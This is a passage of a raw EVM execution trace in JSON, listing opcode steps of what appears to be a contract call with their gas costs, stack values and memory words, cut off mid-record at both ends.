:3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8440,"op":"PUSH1","gas":101538,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8442,"op":"PUSH2","gas":101535,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8445,"op":"JUMP","gas":101532,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x3b53"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15187,"op":"JUMPDEST","gas":101524,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15188,"op":"PUSH1","gas":101523,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15190,"op":"DUP3","gas":101520,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15191,"op":"NOT","gas":101517,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15192,"op":"DUP3","gas":101514,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15193,"op":"GT","gas":101511,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15194,"op":"ISZERO","gas":101508,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15195,"op":"PUSH2","gas":101505,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15198,"op":"JUMPI","gas":101502,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x0","0x1","0x3b66"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15206,"op":"JUMPDEST","gas":101492,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15207,"op":"POP","gas":101491,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15208,"op":"ADD","gas":101489,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15209,"op":"SWAP1","gas":101486,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20fe","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15210,"op":"JUMP","gas":101483,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1","0x20fe"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8446,"op":"JUMPDEST","gas":101475,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8447,"op":"DUP2","gas":101474,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8448,"op":"MLOAD","gas":101471,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8449,"op":"DUP2","gas":101468,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8450,"op":"LT","gas":101465,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8d